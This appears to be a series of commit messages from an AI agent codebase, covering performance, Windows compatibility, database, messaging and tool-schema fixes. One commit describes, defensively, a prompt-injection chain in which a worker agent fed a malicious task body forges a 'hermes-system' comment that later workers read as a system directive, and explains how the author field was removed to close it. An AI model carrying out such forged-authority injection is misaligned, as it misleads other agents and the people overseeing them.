consistency with the previous lazy-load PRs (#22681 google_chat,
#22831 teams).
Tests: 55/55 `tests/tools/test_image_generation.py` pass, including
the cases that monkeypatch the module global to install a mock
fal_client. End-to-end verification confirms `import model_tools`
no longer pulls `fal_client` into `sys.modules`.
Pick openrouter/pareto-code as your model and OpenRouter auto-routes each
request to the cheapest model meeting your coding-quality bar (ranked by
Artificial Analysis). The new openrouter.min_coding_score config key (0.0-1.0,
default 0.65) tunes the floor.
- hermes_cli/models.py: add openrouter/pareto-code to OPENROUTER_MODELS so
it shows up in the picker with a description
- hermes_cli/config.py: add openrouter.min_coding_score (default 0.65 — lands
on a mid-tier coder on the current Pareto frontier)
- plugins/model-providers/openrouter: emit extra_body.plugins =
[{id: pareto-router, min_coding_score: X}] when model is openrouter/pareto-code
AND the score is a valid float in [0.0, 1.0]
- agent/transports/chat_completions.py: same emission on the legacy flag
path (when no provider profile is loaded)
- run_agent.py: openrouter_min_coding_score kwarg + storage; plumbed into
both build_kwargs() invocations and the context-summary extra_body path
- cli.py: read openrouter.min_coding_score once at init, validate float in
[0,1], pass to AIAgent constructions (CLI + background-task paths)
- cron/scheduler.py, batch_runner.py, tools/delegate_tool.py,
tui_gateway/server.py: propagate the kwarg (mirrors providers_order
plumbing — subagents inherit, cron/batch read from config)
- tests: profile-level + transport-level coverage of the model gating,
unset/empty/out-of-range handling, and the legacy flag path
- docs: new 'OpenRouter Pareto Code Router' section in providers.md
Verified end-to-end against api.openrouter.ai: at score=0.65 we land on a
mid-tier coder, at omission we get the strongest. Score is silently dropped
on any model other than openrouter/pareto-code, so it's safe to leave set.
acp_command / acp_args descriptions previously primed the model to
populate them — "Per-task ACP command override (e.g. 'copilot')" —
even when no ACP CLI was installed. Models with weaker schema-following
discipline would set them and the spawn would fail.
Add explicit "Do NOT set unless the user has explicitly told you"
guidance at both the top-level acp_command and the per-task override.
Strengthen acp_args to mention it's empty unless acp_command is set.
Adds 2 tests pinning the descriptions.
Note: this is a cosmetic prompt-engineering fix — the params remain
exposed in the schema. The fully-correct fix is to gate them behind
a config flag or runtime ACP-CLI detection so the schema only emits
them when an ACP harness is available. Tracked as a follow-up; this
PR ships the low-cost stopgap.
Salvage of #22680 (delegate schema only). The original PR also
bundled unrelated fixes for #22548, #21944, #22150 — those
need separate PRs since #22548 and #21944 are already addressed
on main (#22780 + #22798 in flight) and #22150 deserves its own
review.
Closes#22013.
Problem: `_get_cloud_provider()` set `_cloud_provider_resolved = True`
before resolution. If credentials were briefly unavailable on the first
call (e.g. a managed Nous Portal token mid-refresh), the resolver pinned
the entire process to local mode forever, even after credentials
self-healed seconds later.
Root cause: bookkeeping was set up-front, so any code path that fell
through to `return _cached_cloud_provider` (config read failure, no
credentials yet, explicit-provider instantiation failure) committed the
transient `None` to the cache permanently.
Fix: invert the bookkeeping. `_cloud_provider_resolved = True` is now
set only when (a) the user explicitly chose `cloud_provider: local`, or
(b) a provider was successfully resolved. All transient `None` paths
return without poisoning the cache, so the next call retries. Explicit
provider instantiation failures now log at warning level with stack
trace so operators can diagnose them.
Tests: 5 new cases in tests/tools/test_browser_cloud_provider_cache.py
covering explicit local, successful resolution, no-credentials-yet,
config read failure, and explicit provider instantiation failure.
Stash-verify confirmed the 3 transient-None tests fail without the fix.
All 320 existing browser tests still green.
Closes#22324
Returning users who enabled '🖱️ Computer Use (macOS)' via 'hermes tools'
saw '✓ Saved configuration' but no install — cua-driver was never on
PATH and the toolset failed at first use. Two compounding causes:
1. _toolset_needs_configuration_prompt fell through to _toolset_has_keys,
which returned True for any provider with empty env_vars. cua-driver
has no env vars, so the gate skipped _configure_toolset entirely and
_run_post_setup('cua_driver') never ran.
2. No stable CLI entry-point existed for re-running the install when
the picker no-op'd it (e.g. when toggling the toolset off+on inside
one picker session, where 'added' is empty).
Changes:
- hermes_cli/tools_config.py: add _POST_SETUP_INSTALLED registry
mapping post_setup keys to installed-state predicates. The gate
now returns True when any visible provider has a registered
post_setup whose predicate fails. cua_driver is the only opt-in
for now; other post_setup hooks keep their existing behaviour.
- hermes_cli/main.py: add 'hermes computer-use install' and
'hermes computer-use status' as a stable docs target. install
reuses the same _run_post_setup('cua_driver') path that the
picker invokes; status reports whether cua-driver is on PATH.
- tools/computer_use/cua_backend.py: install hint now points users
at 'hermes computer-use install' first.
- website/docs/user-guide/features/computer-use.md: document the
new command as the primary install path.
- website/docs/reference/cli-commands.md: catalog 'hermes
computer-use' alongside 'hermes tools'.
- tests/hermes_cli/test_post_setup_gating.py: regression coverage
for the gate predicate (missing -> setup forced, installed ->
setup skipped, broken predicate -> non-blocking, unregistered
keys -> behaviour unchanged).
Fixes#22737. Reported by @f-trycua.
The github-pr-workflow skill wraps the URL in double-quotes
('curl -H ... "https://api.github.com/..."'), which the original
allowlist regex (\s+https://api...) did not match. Without this,
the bundled github-pr-workflow skill is still blocked at every
cron tick despite #22605's fix landing for the bare-URL form.
Make the leading quote optional and add a regression test pinning
both single- and double-quoted forms.
The delegate_task tool description hardcoded 'default 3' / 'default 2' for
max_concurrent_children / max_spawn_depth, which misled the model on any
install that raised these limits — the schema text said 'default 3' even
when the user had set max_concurrent_children=15 / max_spawn_depth=3, so
the model would self-cap at 3 and never use the headroom.
Make the description dynamic. ToolEntry gains an optional
dynamic_schema_overrides callable; registry.get_definitions() merges its
output on top of the static schema before returning it. delegate_tool
registers a builder that reads the current delegation.* config and emits:
- 'up to N items concurrently for this user' (N = max_concurrent_children)
- 'Nested delegation IS enabled / OFF for this user (max_spawn_depth=N)'
- 'orchestrator children can themselves delegate up to M more level(s)'
- 'orchestrator_enabled=false' when the kill switch is set
The model_tools cache key already includes config.yaml mtime+size, so
edits to delegation.* in config invalidate the cached tool definitions
without an explicit hook. CLI_CONFIG staleness within a process is a
pre-existing limitation of _load_config and out of scope here.
Static description / tasks.description / role.description in
DELEGATE_TASK_SCHEMA are placeholders so module import doesn't trigger
cli.CLI_CONFIG load before the test conftest can redirect HERMES_HOME.
detect_audio_environment() unconditionally added a hard warning when
running inside a container, blocking /voice on even when the host audio
socket was correctly forwarded (PulseAudio or PipeWire) and sounddevice
could enumerate devices.
Mirror the existing WSL/PulseAudio handling: if PULSE_SERVER or
PIPEWIRE_REMOTE is set, downgrade to a notice and let the audio backend
decide. When neither is set, keep the block but extend the message with
the exact -v / -e flags users need.
Closes#21203
Plugin platforms (IRC, Teams, Google Chat) currently fail with
`No live adapter for platform '<name>'` when a `deliver=<plugin>` cron
job runs in a separate process from the gateway, even though the
platforms are eligible cron targets via `cron_deliver_env_var` (added
in #21306). Built-in platforms (Telegram, Discord, Slack, etc.) use
direct REST helpers in `tools/send_message_tool.py` so cron can deliver
without holding the gateway in the same process; plugin platforms
historically depended on `_gateway_runner_ref()` which returns `None`
out of process.
This change adds an optional `standalone_sender_fn` field to
`PlatformEntry` so plugins can register an ephemeral send path that
opens its own connection, sends, and closes without needing the live
adapter. The dispatch site in `_send_via_adapter` falls through to the
hook when the gateway runner is unavailable, with a descriptive error
when neither path applies. The hook is optional, so existing plugins
are unaffected.
Reference migrations land in the same change for IRC, Teams, and
Google Chat, exercising the hook across stdlib (asyncio + IRC protocol),
Bot Framework OAuth client_credentials, and Google service-account
flows respectively.
Security hardening on the new code paths:
* IRC: control-character stripping on chat_id and message body to
block CRLF command injection; bounded nick-collision retries; JOIN
before PRIVMSG so channels with the default `+n` mode accept the
delivery.
* Teams: TEAMS_SERVICE_URL validated against an allowlist of known
Bot Framework hosts (`smba.trafficmanager.net`,
`smba.infra.gov.teams.microsoft.us`) to block SSRF; chat_id and
tenant_id constrained to the documented Bot Framework character set;
per-request timeouts so a slow STS endpoint cannot starve the
activity POST.
* Google Chat: chat_id and thread_id validated against strict
resource-name regexes; service-account refresh wrapped in
`asyncio.wait_for` so a hung token endpoint cannot stall the
scheduler.
Test coverage: 20 new tests covering happy path, missing-config errors,
network failure modes, and each defensive validation. Existing tests
unchanged. `bash scripts/run_tests.sh tests/tools/test_send_message_tool.py
tests/gateway/test_irc_adapter.py tests/gateway/test_teams.py
tests/gateway/test_google_chat.py` reports 341 passed, 0 regressions.
Documentation: new "Out-of-process cron delivery" section in
website/docs/developer-guide/adding-platform-adapters.md and an entry
in gateway/platforms/ADDING_A_PLATFORM.md naming the hook.
Follow-up to PR #21293 (cli.py), which fixed the same anti-pattern.
`asyncio.get_event_loop()` is documented as effectively "always returns
the running loop when called from a coroutine" and emits
DeprecationWarning/RuntimeWarning in some interpreter configurations.
The Python docs explicitly recommend get_running_loop() inside coroutines.
Replaces the remaining 9 call sites that are unconditionally inside
async def bodies:
- tools/browser_cdp_tool.py — _cdp_call() (4 sites): deadline + remaining
computations inside the async websockets.connect context manager.
- hermes_cli/web_server.py — get_status, _start_device_code_flow,
submit_oauth_code (3 sites): all FastAPI async endpoints offloading
blocking httpx / PKCE work to run_in_executor.
- environments/agent_loop.py — HermesAgentLoop (1 site): tool dispatch
inside the async rollout loop.
- environments/benchmarks/terminalbench_2/terminalbench2_env.py —
rollout_and_score_eval (1 site): test verification thread offload.
All 9 sites are unconditionally inside async def bodies, so a running
loop is guaranteed and no try/except RuntimeError fallback is needed
(unlike the cli.py case in #21293, which ran from a background thread).
Behavior is identical on supported Python versions; aligns the codebase
with the post-#21293 idiom and avoids future warnings as the deprecation
hardens.
Salvaged from PR #21930 by @Zhekinmaksim onto current main (the
original branch was 109 commits behind and carried unintended
stale-branch reverts of unrelated landed changes — _tail_lines
encoding=utf-8 and the Windows PTY bridge guard). Only the 9 swaps
from the PR's intended scope are applied here.
Comments are injected into the next worker's system prompt by
build_worker_context() as '**{author}** (timestamp): {body}'. The
previous code accepted args['author'] as a free-form override and
exposed it on KANBAN_COMMENT_SCHEMA, which let a worker:
1. Receive a prompt-injection in a malicious task body.
2. Call kanban_comment with author='hermes-system' (or any other
authoritative-looking name) on a sibling task.
3. The next worker assigned to that sibling task sees the forged
comment in its boot context as what reads like a system-authored
directive.
Always derive author from HERMES_PROFILE (the dispatcher already sets
this per worker at hermes_cli/kanban_db.py:3718), and remove the
'author' property from the tool schema so the LLM can't see the
override surface.
Cross-task commenting itself remains unrestricted (see #19713) —
comments are the deliberate handoff channel between tasks; only the
author-override surface is closed.
Co-authored-by: kshitijk4poor <82637225+kshitijk4poor@users.noreply.github.com>
Recover delegate_task batch inputs when open-weight models emit tasks as a JSON-encoded array string, and return clear errors for malformed task lists.
Co-authored-by: Cursor <cursoragent@cursor.com>
SQLite's WAL mode requires shared-memory (mmap) coordination and fcntl
byte-range locks that don't reliably work on network filesystems. Upstream
documents this explicitly:
https://www.sqlite.org/wal.html#sometimes_queries_return_sqlite_busy_in_wal_mode
On NFS / SMB / some FUSE mounts / WSL1, 'PRAGMA journal_mode=WAL' raises
'sqlite3.OperationalError: locking protocol' (SQLITE_PROTOCOL). Before
this change, every feature backed by state.db or kanban.db broke silently:
- /resume, /title, /history, /branch returned 'Session database not
available.' with no cause
- gateway logged the init failure at DEBUG (invisible in errors.log)
- kanban dispatcher crashed every 60s, driving the known migration race
(duplicate column name: consecutive_failures, #21708 / #21374)
Changes:
- hermes_state.apply_wal_with_fallback(): shared helper that tries WAL
and falls back to DELETE on SQLITE_PROTOCOL-style errors with one
WARNING explaining why
- hermes_state.get_last_init_error() + format_session_db_unavailable():
capture the init failure cause and surface it in user-facing strings
(with an NFS/SMB pointer for 'locking protocol')
- hermes_cli/kanban_db.connect(): use the shared helper
- gateway/run.py: bump SessionDB init failure log DEBUG -> WARNING
(matches cli.py's existing correct behavior)
- cli.py (4 sites) + gateway/run.py (5 sites): replace bare
'Session database not available.' with format_session_db_unavailable()
Tests: 12 new tests in tests/test_hermes_state_wal_fallback.py + 1 new
test in tests/hermes_cli/test_kanban_db.py. Existing suites (state,
kanban, gateway, cli) remain green for all tests unrelated to pre-existing
failures on main.
Evidence: real-world user on NFSv3 mount (172.26.224.200:d2dfac12/home,
local_lock=none) reporting 'Session database not available.' on /resume;
'locking protocol' appears in 4 distinct log entries across backup,
kanban, TUI, and CLI paths in the same session.
closes#22032
Telegram forum supergroups address the General topic as
`message_thread_id="1"` on incoming updates, but the Bot API rejects
sends with `message_thread_id=1` ("Message thread not found"). The
gateway adapter has a `_message_thread_id_for_send` helper that maps
"1" to None for that reason; the standalone `_send_telegram` helper
used by the `send_message` tool never got the same mapping, so any
`send_message` call to a Topics-enabled group's General topic
(target shape `telegram:<chat_id>:1`) failed with "Message thread
not found."
Reuse the adapter's helper when available, with an explicit fallback
to the same mapping for environments where the adapter import path
fails (e.g. python-telegram-bot missing in this venv).
Fixes#22267
Models that enforce required-only constraints (e.g. kimi-k2.x) were
omitting old_string/new_string for replace mode and patch for patch mode
because the schema only declared required: ["mode"].
Add explicit "REQUIRED when mode='X'" markers to each conditionally-required
property description and a top-level "REQUIRED PARAMETERS: ..." summary for
each mode. Avoids anyOf/oneOf which break Anthropic, Fireworks, and
Kimi/Moonshot providers. Add TestPatchSchemaShape to lock the shape.
Fixes#15524
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
Interactive `hermes` launch drops from ~21s to ~2.5s. Three independent
fixes, each targets a distinct hot spot in the banner / tool-registration
path that fires on every CLI invocation.
1. `get_external_skills_dirs()` in-process mtime cache (~10s saved)
The function re-read + YAML-parsed the full ~/.hermes/config.yaml on
every call. Banner build invokes it once per skill to resolve the
category column, which on a 120-skill install meant ~120 reparses of
a 15 KB config (~85 ms each). Added a
`(config_path, mtime_ns) -> list[Path]` memo; stat() is ~2 us vs
~85 ms for the parse. Edits to config.yaml invalidate the cache on
the next call via mtime.
2. Feishu availability probe uses `importlib.util.find_spec` (~5.2s saved)
`tools/feishu_doc_tool.py::_check_feishu` and the identical helper in
`feishu_drive_tool.py` were calling `import lark_oapi` purely to
detect whether the SDK was installed. Executing the real import pulls
in websockets + dispatcher + every v2 API model — ~5 seconds of work
that fires at every tool-registry bootstrap. `find_spec` answers the
same question ("is lark_oapi importable?") without executing the
module. The actual tool handlers still do the real import on invoke,
so runtime behavior is unchanged.
3. `_web_requires_env` no longer triggers Nous portal refresh (~800ms saved)
`tools/web_tools.py::_web_requires_env` used
`managed_nous_tools_enabled()` to gate four gateway env-var names in
the returned list. The gate called `get_nous_auth_status()` ->
`resolve_nous_runtime_credentials()` -> live HTTP POST to the portal
on every tool-registry bootstrap. But the list is pure metadata — if
the env var is set at runtime, the tool lights up; otherwise it
doesn't. Including the four names unconditionally is harmless for
unsubscribed users (vars just aren't set) and eliminates the sync
HTTP round trip from startup.
Test:
- tests/agent/test_external_skills_dirs_cache.py (new, 6 cases):
returns config'd dir, caches on second call (yaml_load patched to
raise — never invoked), invalidates on mtime bump, empty when config
missing, returned list is a defensive copy, per-HERMES_HOME cache key
isolation.
- Existing tests/agent/test_external_skills.py and tests/tools/
continue to pass modulo pre-existing flakes on main (test_delegate,
test_send_message — unrelated, pass in isolation).
Measured: bare `hermes` (cold → REPL ready) 21,519ms -> 2,618ms on
Teknium's install (119 skills, 15 KB config.yaml, Nous auth logged in,
lark_oapi installed). 8x faster.
## Why
Hermes supports Linux, macOS, and native Windows, but the codebase grew up
POSIX-first and has accumulated patterns that silently break (or worse,
silently kill!) on Windows:
- `os.kill(pid, 0)` as a liveness probe — on Windows this maps to
CTRL_C_EVENT and broadcasts Ctrl+C to the target's entire console
process group (bpo-14484, open since 2012).
- `os.killpg` — doesn't exist on Windows at all (AttributeError).
- `os.setsid` / `os.getuid` / `os.geteuid` — same.
- `signal.SIGKILL` / `signal.SIGHUP` / `signal.SIGUSR1` — module-attr
errors at runtime on Windows.
- `open(path)` / `open(path, "r")` without explicit encoding= — inherits
the platform default, which is cp1252/mbcs on Windows (UTF-8 on POSIX),
causing mojibake round-tripping between hosts.
- `wmic` — removed from Windows 10 21H1+.
This commit does three things:
1. Makes `psutil` a core dependency and migrates critical callsites to it.
2. Adds a grep-based CI gate (`scripts/check-windows-footguns.py`) that
blocks new instances of any of the above patterns.
3. Fixes every existing instance in the codebase so the baseline is clean.
## What changed
### 1. psutil as a core dependency (pyproject.toml)
Added `psutil>=5.9.0,<8` to core deps. psutil is the canonical
cross-platform answer for "is this PID alive" and "kill this process
tree" — its `pid_exists()` uses `OpenProcess + GetExitCodeProcess` on
Windows (NOT a signal call), and its `Process.children(recursive=True)`
+ `.kill()` combo replaces `os.killpg()` portably.
### 2. `gateway/status.py::_pid_exists`
Rewrote to call `psutil.pid_exists()` first, falling back to the
hand-rolled ctypes `OpenProcess + WaitForSingleObject` dance on Windows
(and `os.kill(pid, 0)` on POSIX) only if psutil is somehow missing —
e.g. during the scaffold phase of a fresh install before pip finishes.
### 3. `os.killpg` migration to psutil (7 callsites, 5 files)
- `tools/code_execution_tool.py`
- `tools/process_registry.py`
- `tools/tts_tool.py`
- `tools/environments/local.py` (3 sites kept as-is, suppressed with
`# windows-footgun: ok` — the pgid semantics psutil can't replicate,
and the calls are already Windows-guarded at the outer branch)
- `gateway/platforms/whatsapp.py`
### 4. `scripts/check-windows-footguns.py` (NEW, 500 lines)
Grep-based checker with 11 rules covering every Windows cross-platform
footgun we've hit so far:
1. `os.kill(pid, 0)` — the silent killer
2. `os.setsid` without guard
3. `os.killpg` (recommends psutil)
4. `os.getuid` / `os.geteuid` / `os.getgid`
5. `os.fork`
6. `signal.SIGKILL`
7. `signal.SIGHUP/SIGUSR1/SIGUSR2/SIGALRM/SIGCHLD/SIGPIPE/SIGQUIT`
8. `subprocess` shebang script invocation
9. `wmic` without `shutil.which` guard
10. Hardcoded `~/Desktop` (OneDrive trap)
11. `asyncio.add_signal_handler` without try/except
12. `open()` without `encoding=` on text mode
Features:
- Triple-quoted-docstring aware (won't flag prose inside docstrings)
- Trailing-comment aware (won't flag mentions in `# os.kill(pid, 0)` comments)
- Guard-hint aware (skips lines with `hasattr(os, ...)`,
`shutil.which(...)`, `if platform.system() != 'Windows'`, etc.)
- Inline suppression with `# windows-footgun: ok — <reason>`
- `--list` to print all rules with fixes
- `--all` / `--diff <ref>` / staged-files (default) modes
- Scans 380 files in under 2 seconds
### 5. CI integration
A GitHub Actions workflow that runs the checker on every PR and push is
staged at `/tmp/hermes-stash/windows-footguns.yml` — not included in this
commit because the GH token on the push machine lacks `workflow` scope.
A maintainer with `workflow` permissions should add it as
`.github/workflows/windows-footguns.yml` in a follow-up. Content:
```yaml
name: Windows footgun check
on:
push:
branches: [main]
pull_request:
branches: [main]
jobs:
check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with: {python-version: "3.11"}
- run: python scripts/check-windows-footguns.py --all
```
### 6. CONTRIBUTING.md — "Cross-Platform Compatibility" expansion
Expanded from 5 to 16 rules, each with message, example, and fix.
Recommends psutil as the preferred API for PID / process-tree operations.
### 7. Baseline cleanup (91 → 0 findings)
- 14 `open()` sites → added `encoding='utf-8'` (internal logs/caches) or
`encoding='utf-8-sig'` (user-editable files that Notepad may BOM)
- 23 POSIX-only callsites in systemd helpers, pty_bridge, and plugin
tool subprocess management → annotated with
`# windows-footgun: ok — <reason>`
- 7 `os.killpg` sites → migrated to psutil (see §3 above)
## Verification
```
$ python scripts/check-windows-footguns.py --all
✓ No Windows footguns found (380 file(s) scanned).
$ python -c "from gateway.status import _pid_exists; import os
> print('self:', _pid_exists(os.getpid())); print('bogus:', _pid_exists(999999))"
self: True
bogus: False
```
Proof-of-repro that `os.kill(pid, 0)` was actually killing processes
before this fix — see commit `1cbe39914` and bpo-14484. This commit
removes the last hand-rolled ctypes path from the hot liveness-check
path and defers to the best-maintained cross-platform answer.
On Windows, Python's ``os.kill(pid, 0)`` is NOT a no-op. CPython's
implementation (``Modules/posixmodule.c::os_kill_impl``) treats sig=0
as ``CTRL_C_EVENT`` because the two integer values collide at the C
layer, and routes it through ``GenerateConsoleCtrlEvent(0, pid)`` —
which sends a Ctrl+C to the ENTIRE console process group containing
the target PID, not just the PID itself. Any caller that wanted to
check "is PID X alive" via the classic POSIX ``os.kill(pid, 0)``
idiom was silently killing that process (and often unrelated
processes in the same console group) on Windows. Long-standing
Python Windows quirk; see bpo-14484 (open since 2012).
This manifested in Hermes as: every ``hermes gateway status``
invocation would read the gateway's PID from the PID file, call
``os.kill(pid, 0)`` via ``gateway.status.get_running_pid()`` as a
"liveness check", and instantly terminate the gateway it was trying
to report on. No shutdown log, no traceback, no atexit hook fire,
no exit-diag entry — just silent termination of the detached pythonw
process. "Bot answered one message then stopped typing" was the
characteristic end-user symptom because `os.kill(pid, 0)` fires
mid-response-send and kills the gateway between logs.
Reproduction (verified in this branch before the fix):
$ hermes gateway start # gateway alive, PID 37520
$ hermes gateway status # reports "No gateway process detected"
$ tasklist /FI "PID eq 37520" # INFO: No tasks are running
# — gateway terminated silently
Root-cause fix is a new ``gateway.status._pid_exists(pid)`` helper:
- On Windows: Win32 ``OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION |
SYNCHRONIZE, False, pid)`` + ``WaitForSingleObject(handle, 0)``
via ctypes. Zero signal delivery, zero console-group side effects.
Pins ctypes return types to avoid DWORD-vs-signed-int parse bugs
on WAIT_TIMEOUT (0x102). Distinguishes ERROR_INVALID_PARAMETER
(PID gone) from ERROR_ACCESS_DENIED (alive but another user).
- On POSIX: the canonical ``os.kill(pid, 0)`` idiom that actually is
a no-op there.
Then patch every ``os.kill(pid, 0)`` liveness-check callsite to
route through ``_pid_exists`` instead. Total 14 callsites across
11 files; every single one was a latent silent-kill on Windows:
gateway/run.py:2810 — /restart watcher (inline subprocess)
gateway/run.py:15195 — --replace wait loop
gateway/status.py:572 — acquire_gateway_runtime_lock stale check
gateway/status.py:828 — get_running_pid (THE killer for status)
gateway/platforms/whatsapp.py:111
hermes_cli/gateway.py:228, 522, 1012 — gateway-related drain loops
hermes_cli/kanban_db.py:2826 — _pid_alive was claiming to
be cross-platform but used
os.kill(pid, 0) on Windows
hermes_cli/main.py:5792 — CLI process-kill polling
hermes_cli/profiles.py:782 — profile stop wait loop
plugins/google_meet/process_manager.py:74
tools/browser_tool.py:1215, 1255 — browser daemon ownership probes
tools/mcp_tool.py:1255, 3374 — MCP stdio orphan tracking
The watcher source in gateway/run.py:2810 is a multi-line string
that gets spawned as an inline ``python -c "..."`` subprocess, so
it can't import gateway.status. The fix for that callsite inlines
the same ctypes probe directly into the watcher source.
Tested on Windows 10 with the hermes gateway + Telegram bot:
- gateway start → alive
- 5 consecutive ``hermes gateway status`` invocations → gateway
alive after every one, same PID reported each time (37520, 21952)
- gateway.log shows uninterrupted operation; no spurious shutdown
entries; cron ticker and kanban dispatcher still running on
their 60-second cadence
- bot continues answering Telegram messages throughout
Ships alongside an exit-path diagnostic wrapper in
``hermes_cli/gateway.py::run_gateway()`` that captures every way
``asyncio.run(start_gateway(...))`` can return (success, SystemExit,
KeyboardInterrupt, BaseException, atexit) with full traceback to
``logs/gateway-exit-diag.log``. This was used to prove the gateway
was being hard-killed externally (no exit event fired) and should
be kept for future Windows debugging.
Refs: https://bugs.python.org/issue14484
See also: references/windows-subprocess-sigint-storm.md in
the hermes-agent skill.
Three related Windows-only fixes that together make the browser toolset
actually usable on Windows. Symptom chain: user invokes browser_navigate
-> tool returns {"success": false, "error": "Daemon process exited
during startup with no error output"} and the CLI exits mid-turn with
the session summary.
Root cause (3 layers):
1. tools/browser_tool.py::_find_agent_browser() resolved
node_modules/.bin/agent-browser to the extensionless POSIX shell
shim via Path.exists(). On Windows, CreateProcessW cannot execute
that script (WinError 193 "not a valid Win32 application"). Fix:
delegate to shutil.which with path=node_modules/.bin so PATHEXT
picks up agent-browser.CMD on Windows and the extensionless shim
stays correct on POSIX.
2. Windows Terminal / Win32 delivers a spurious CTRL_C_EVENT to the
parent hermes.exe whenever a background thread spawns a .cmd
subprocess. Python 3.11's default SIGINT handler raises
KeyboardInterrupt in MainThread, which unwinds prompt_toolkit's
app.run() -> cli.py::run()'s finally block calls _run_cleanup()
-> _emergency_cleanup_all_sessions -> spawns a concurrent
_run_browser_command("close", ...) on the same session the agent
thread just opened. Two agent-browser processes race on the same
--session name, the daemon startup loses, and the tool returns
the "Daemon process exited during startup" error. Fix: install a
Windows-only SIGINT handler that absorbs the signal silently.
Real user Ctrl+C still routes through prompt_toolkit's own c-c
keybinding at the TUI layer, which is how Claude Code handles the
same quirk (driving cancellation via the TUI key handler, not
signals).
3. In tools/browser_tool.py, both Popen sites now pass
creationflags=CREATE_NO_WINDOW | STARTF_USESTDHANDLES with
close_fds=True on Windows. CREATE_NO_WINDOW suppresses the .cmd
console flash; STARTF_USESTDHANDLES + close_fds ensures the child
inherits only our three chosen handles (DEVNULL stdin, temp-file
stdout/stderr) and no leaked parent console handles that could
confuse agent-browser's native daemon spawn. Notably we do NOT
add CREATE_NEW_PROCESS_GROUP - on Python 3.11 Windows the flag
interacts badly with asyncio's ProactorEventLoop and makes things
worse.
Verified end-to-end on Windows 10 / Windows Terminal / PowerShell:
browser_navigate to https://example.com returns
{"success": true, "title": "Example Domain"} and the CLI stays alive
for follow-up tool calls and assistant turns.
Refs: earlier Windows quirks commits 1cebb3bad (Ctrl+Enter newline),
26f5af52a (environment hints), aefd1a37f (Playwright Chromium).
Closes the last Python-on-Windows UTF-8 exposure by making every
text-mode open() call explicit about its encoding.
Before: on Windows, bare open(path, 'r') defaults to the system
locale encoding (cp1252 on US-locale installs). That means reading
any config/yaml/markdown/json file with non-ASCII content either
crashes with UnicodeDecodeError or silently mis-decodes bytes.
After: all 89 affected call sites in production code now pass
encoding='utf-8' explicitly. Works identically on every platform
and every locale, no surprise behavior.
Mechanical sweep via:
ruff check --preview --extend-select PLW1514 --unsafe-fixes --fix --exclude 'tests,venv,.venv,node_modules,website,optional-skills, skills,tinker-atropos,plugins' .
All 89 fixes have the same shape: open(x) or open(x, mode) became
open(x, encoding='utf-8') or open(x, mode, encoding='utf-8'). Nothing
else changed. Every modified file still parses and the Windows/sandbox
test suite is still green (85 passed, 14 skipped, 0 failed across
tests/tools/test_code_execution_windows_env.py +
tests/tools/test_code_execution_modes.py + tests/tools/test_env_passthrough.py +
tests/test_hermes_bootstrap.py).
Scope notes:
- tests/ excluded: test fixtures can use locale encoding intentionally
(exercising edge cases). If we want to tighten tests later that's
a separate PR.
- plugins/ excluded: plugin-specific conventions may differ; plugin
authors own their code.
- optional-skills/ and skills/ excluded: skill scripts are user-authored
and we don't want to mass-edit them.
- website/ and tinker-atropos/ excluded: vendored / generated content.
46 files touched, 89 +/- lines (symmetric replacement). No behavior
change on POSIX or on Windows when the file is ASCII; bug fix on
Windows when the file contains non-ASCII.
Third Windows-specific sandbox bug (after WinError 10106 and the UTF-8
file-write bug): user scripts that print non-ASCII to stdout crash with
UnicodeEncodeError: 'charmap' codec can't encode character '\u2192'
in position N: character maps to <undefined>
Root cause: Python's sys.stdout on Windows is bound to the console code
page (cp1252 on US-locale installs) when the process is attached to a
pipe without PYTHONIOENCODING set. LLM-generated scripts routinely
print em-dashes, arrows, accented chars, and emoji — all of which cp1252
can't encode.
Fix: spawn the sandbox child with:
PYTHONIOENCODING=utf-8 # sys.stdin/stdout/stderr all UTF-8
PYTHONUTF8=1 # PEP 540 UTF-8 mode — open() defaults to UTF-8 too
PYTHONUTF8 is the belt-and-suspenders half: LLM scripts that call
open(path, 'w') without encoding= in user code will now produce UTF-8
files by default, matching what the sandbox already does for its own
staging files.
The parent side already decodes child stdout/stderr as UTF-8 with
errors='replace' (lines 1345-1347) so the end-to-end chain is clean.
On POSIX these values usually match the locale default already, so
setting them is harmless belt-and-suspenders for C/POSIX-locale
containers and minimal base images.
Tests added (4) — total file now at 28 passed, 1 skipped on Windows:
- test_popen_env_sets_pythonioencoding_utf8 (source grep)
- test_popen_env_sets_pythonutf8_mode (source grep)
- test_live_child_can_print_non_ascii (cross-platform live test)
- test_windows_child_without_utf8_env_would_fail (Windows negative
control — actually reproduces the bug without our env overrides,
proving the fix is load-bearing on this system)
Second Windows-specific sandbox bug (WinError 10106 was the first):
after the env-scrub fix let the child start, it immediately failed to
import hermes_tools with:
SyntaxError: (unicode error) 'utf-8' codec can't decode byte 0x97
in position 154: invalid start byte
Root cause: _execute_local wrote the generated hermes_tools.py stub and
the user's script.py via open(path, 'w') without encoding=. On Windows
the default text-mode encoding is cp1252 (system locale), which encodes
em-dashes (used in the stub's docstrings) as 0x97. Python then decodes
source files as UTF-8 (PEP 3120) on import, chokes on 0x97, and the
sandbox dies before any tool call.
Fix: pass encoding='utf-8' to all four file opens in the code_execution
path — the two staging writes in _execute_local (hermes_tools.py +
script.py) and the two RPC file-transport reads/writes in the generated
remote stub. JSON is ASCII-safe for most payloads but tool results
(terminal output, web_extract content) routinely carry non-ASCII.
Tests added (4):
- test_stub_and_script_writes_specify_utf8 — source grep guard
- test_file_rpc_stub_uses_utf8 — generated remote stub check
- test_stub_source_roundtrips_through_utf8 — concrete round-trip
- test_windows_default_encoding_would_have_failed — negative control
(skips on modern Python builds where default is already UTF-8
compatible, but retained for platforms where the regression could
return)
24/25 tests pass on Windows 3.11 (negative control skips because this
Python build handles em-dashes via cp1252 subset — the fix is still
correct, just the corruption path isn't always triggerable).
The sandbox's env scrubbing was dropping SYSTEMROOT, WINDIR, COMSPEC,
APPDATA, etc. On Windows this broke the child process before any RPC
could happen:
OSError: [WinError 10106] The requested service provider could not
be loaded or initialized
Python's socket module uses SYSTEMROOT to locate mswsock.dll during
Winsock initialization. Without it, socket.socket(AF_INET, SOCK_STREAM)
fails — and the existing loopback-TCP fallback for Windows couldn't work.
Fix: add a small Windows-only allowlist (_WINDOWS_ESSENTIAL_ENV_VARS)
matched by exact uppercase name, after the existing secret-substring
block. The secret block still runs first, so the allowlist cannot be
used to exfiltrate credentials. Also extract the env scrubber into a
